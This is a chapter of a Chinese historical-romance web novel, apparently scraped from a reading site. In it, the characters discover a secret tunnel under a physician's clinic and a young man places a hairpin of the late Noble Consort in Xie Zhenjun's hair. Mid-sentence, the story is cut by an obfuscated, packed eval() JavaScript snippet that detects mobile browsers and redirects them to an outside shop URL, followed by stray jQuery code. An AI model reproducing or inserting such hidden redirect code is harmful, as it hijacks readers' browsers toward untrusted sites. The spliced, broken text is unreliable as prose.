“谢三小姐已经被平安送回府了。”周怀澈对谢真君道。
周明渊用袖口擦了擦眼角:“……阿弥陀佛,阿弥陀佛……”
谢真君心里的石头落了地:“老天保佑。”
其实谢真君根本看不到周怀澈的脸,谢真颢在前面挡得严严实实,也不回话,只从嘴里蹦出三个字:“走,回家。”
“请等一下。谢公子,我哥让你去东宫一趟。”
谢真君讨好道:“这么晚了,太子殿下一定有急事,哥,你不用管我,我自己能回去。”
谢真君要作妖之前,必会恭敬顺从地喊一声“哥”。谢真颢看着一旁的人,抽了下额角。
谢真君费力掰出三根手指保证道:“我都这样了,我保证绝不多事。”
周明渊生得一双察言观色的眼,忙打圆场道:“谢公子要是不放心,我稍后找人送你妹妹回家去。我的人都是圣上派下来的,你放心。”
圣上都被搬出来了,谢真颢只得抱拳道:“……多谢王爷。”
“不用谢,哈哈,应该的。”
谢真君:“我的如玉借你了,它快一些。”
谢真颢:“知道了。你小心点,别扯到手。”
……
谢真颢前脚刚走,周明渊就眉眼一溜道:“好侄儿,送谢小姐回家的任务,就交给你了哈。”
“……”
谢真君:“啊?”
见周怀澈没顶嘴,周明渊终于能挺直腰板,捡起了一个皇叔的气概,道:“人家因为你受这么重的伤,你从进门一句对不起都没有,枉我这么些年在你爹面前说这么多好话,你说说看,从小到大,光我替你遮掩的,就有多少次了?你之前胡闹就算了,这次你不去,小心我告你的状。”
郑简笑道:“这是侄不教,叔之过啊。”
周怀澈自然选择忽略,问:“她这伤怎么样了?”
郑简道:“我亲自处理的,你且放心。”
谢真君举起四根萝卜,道:“小伤小伤,不比我以前受的伤重。”又对周明渊道:“王爷,其实不能怪他,是我自己冲上去的。”
“看到了吧,好侄儿,什么叫气度。谢小姐这肚量,堪比宰相都不为过。”
周怀澈还想说什么,此时——
“找到了!”一人禀报,“高都尉,找到了。”
周明渊惊道:“这这这,还真有什么暗道啊?”
原来十五年前,郑国公腿疾复发,看病医人也力不从心,于是郑简从学徒正式接手郑氏医馆。当时医馆只是一间小铺面,接纳不了每日多如牛毛的病人,周明渊便将自己一处私宅送给郑简,打造成如今这家前铺后院的医馆。
宅邸破败已久,宅中原有一老井,终年无水,而医馆又处于城中低洼之处,工人便平了井口,下引为水道。青枝生在船上,长在船上,一日从桥下发现了这处暗道,摸到医馆来,才有了后面四起凶案。
几位金吾卫跳下枯井,继续寻查。
许久后来报,不出所料,这条路确实通往城中河道,无名桥下。
谢真君道:“所以青枝先从暗道进来,再给江杰开了后门。”
高芾道:“从痕迹来看,确实如此。”
周明渊几乎晕厥过去,扶着周怀澈道肩头:“再找,再找,高大人,万一还有什么道,把屋子掀了都行!”
一人答:“全都搜了,没有了。”
郑简道:“遭了这么久的贼,我竟然不知道。”
高芾道:“郑大夫整日忙得脚不沾地。不过幸好,碰上那个疯女人的不是郑大夫,要不然——”
郑简忽而有些少有的愠色:“高大人,人命都是一样的,难不成你们办案还要掂量死的是王工贵妾还是布衣百姓吗?”
高芾忙道:“不不不,郑大夫,是我口不择言了。”
周明渊往井口探了探身,忙收回来,惊道:“繁之啊,你还是去我府上,等他们再查几番,确定没事了你再回来。”
郑简摇头。
“你的好意我知道,但这医馆离不开我,况且我一个有家有舍的,怎么好意思再叨扰你。”
叨扰?周明渊似是听到了无比冒犯之言,以手抚心嗟长叹:“繁之!原来在你眼里,我竟然是‘同流合污’之类了?我……我心痛啊!”
郑简:“我绝无此意。”
周明渊:“走走走,那你就跟我走,反正无论如何,今天不能在这里待了。”
……
周怀澈已经悄无声息地从周明渊手下出来,给津津有味看戏的谢真君使了个眼色,谢真君会意,随他出了后院。
“他俩就这样,我看不像称兄道弟,倒像一对冤家夫妻。”
“有这么一个挚友,此生也无憾了——你刚刚要和我说什么?”
周怀澈停步,从袖里掏出一个银钗,一个金环。
“刚才太险,你把簪子落下了。”
“那这个镯子?”
正是谢真君当日卖给奴贩子的那个。
“阿福捎给我的,是你的吧。”
谢真君举起八根萝卜苦笑道:“是。但现在是戴不上了,你替我收着吧。”
周怀澈的眼神晦暗不明,乌黑的眼里闪过一丝诡异的光。谢真君为什么觉得诡异,因为他笑了。
“别动,这个可以戴上。”
“诶?等一下!”
周怀澈已经扶住谢真君一边脑袋,给她戴上了银簪。
幸亏谢真君手受伤了,不然她发誓他现在一定会趴在地上叫苦不迭。
“周怀澈,你的手好凉,外面起秋风了吗?”
“今晚有点。”
这一幕,正好被掀帘而入的周明渊看到。
“咳咳……好好好,不愧是我的好侄儿,你还是有几分样子的,就是给女孩戴簪的手法不咋样。”
谢真君白眼道:“我就知道。”罢了罢了,黑灯瞎火,别人又看不到。
周明渊又咳了两声,忽而瞥见谢真君头上的簪子,旋即又惊又喜:“这,这可是太后,不不不,是先贵妃送给太后的。”
谢真君惊诧:“什么?”
周明渊道:“绝对没错。你看,我们大夏女子爱凤头,而你这根是鹰头,我在先贵妃那里见过,绝对错不了,是从北羌带来的东西。当年先贵妃冠绝后宫,和先皇举案齐眉。先皇节俭,先贵妃便把所有金饰换成银饰。”
“这确实是太后送我的周岁礼,只是没想到,竟然是先贵妃的遗物。”她对周怀澈道,“我何德何能,你快给我拿下来。”
周明渊忙挡下了周怀澈手:“别,谢小姐,先贵妃是我见过胸襟最宽广的女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844973|211727||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子,那气度,那风范……她要是见到这根簪子戴在你头上,定会欢喜。还有太后,最是喜欢送你们这些小姑娘饰品,四公主五公主每次去她那里,都会得几件的,别辜负她这一番美意了……太后把这簪子给你,我看就是看在令堂和先贵妃同为北羌女子。当年令堂挺身而出,舌战群雄,阻止了一场战火,都能名垂千古了。别说一根簪子,就是封侯加爵我看都不为过……”
周怀澈也道:“我皇奶奶最疼小辈,不用这么拘束。”
周明渊道:“对,对。”
说起谢真君母亲这位人物,不得不提到先贵妃和先皇的那段往事。
先皇年间,大夏与北羌交好。先皇为求娶北羌王女为贵妃,甚至不惜半拆兴峪关城墙,以示两国之谊。
先皇与王女二人琴瑟和鸣,恩爱非常,在当时是一段人尽皆知的佳话。后来,先皇不顾一众大臣反对,将二人之子周明湛立为太子。先皇对母子二人荣宠有加,周明湛出生那年,一向节俭的先皇破例兴建鸿福馆,让高僧诵经祈福满三年。三年内,高僧每年在长安选福树百棵,挂满福条,为周明湛祈福。
然而福泽深厚,薄身难承——大家私下里都这样说。
周明湛十八岁那年,无病无灾,身体却异常衰弱,所有太医都无可奈何。
那时的郑国公郑太一还是荣安伯爵,郑氏医馆在他的经营下名声大噪,先皇无计可施,请郑太一入宫看治。郑太一妙手回春,先皇大喜,封其为盛康侯。
然此病着实奇怪,郑太一治了一段时日,周明湛只剩回光返照,不久撒手人寰。贵妃心碎,米水不进,第二年便驾鹤西去。
当年谢真君的父亲谢晔,初出茅庐,政绩斐然,受将军上官城提携,升礼部侍郎。谢晔和上官城作为使节出使北羌,便是将贵妃母子二人的死讯带去。
那时北羌老可汗已死,新可汗是贵妃胞弟。得知王姐死讯,可汗怒极恨极,扣押夏使,就要斩其首,向大夏宣战。刀未落,一女子只身闯入王帐,将谢晔与上官城救下,舌辩群雄,才让这场本来难免的战事消弥。
这名女子便是谢真君的母亲,樱知相。
这份过命的交情,也让谢真君的父母和上官将军就此结下深厚情谊。
一辆宽敞的马车。
谢真君调侃道:“才多久没见,你发财啦?”
周怀澈:“我哥的。那个……”
谢真君道:“别,要是对不起就别说了。”
从医馆到这里,周怀澈正经且贴心得不像样,不仅主动搀她上车,还专门吩咐马夫走慢些,坐下又问谢真君手还疼不疼。要不是刚才给她戴簪子的时候笑了,谢真君真的怀疑他是不是被别人夺魂了。
笑比哭还难看。
谢真君道:“疼,钻心的疼。”
周怀澈忙喊道:“掉头,回郑氏医馆!”
“别别别!别听他的!”谢真君问,“周怀澈,你不会被青枝吓到了吧?”
“谢真君,你真的没事么?”
谢真君伸出一臂,道:“喏,掀开。”
周怀澈警觉道:“掀什么?”
谢真君道:“衣服啊,还能是什么。”
周怀澈偏头哼笑一声:“我看你才被吓到了吧,吓得糊涂了。谢真君,我俩孤男寡女,还没熟络到这种程度吧。”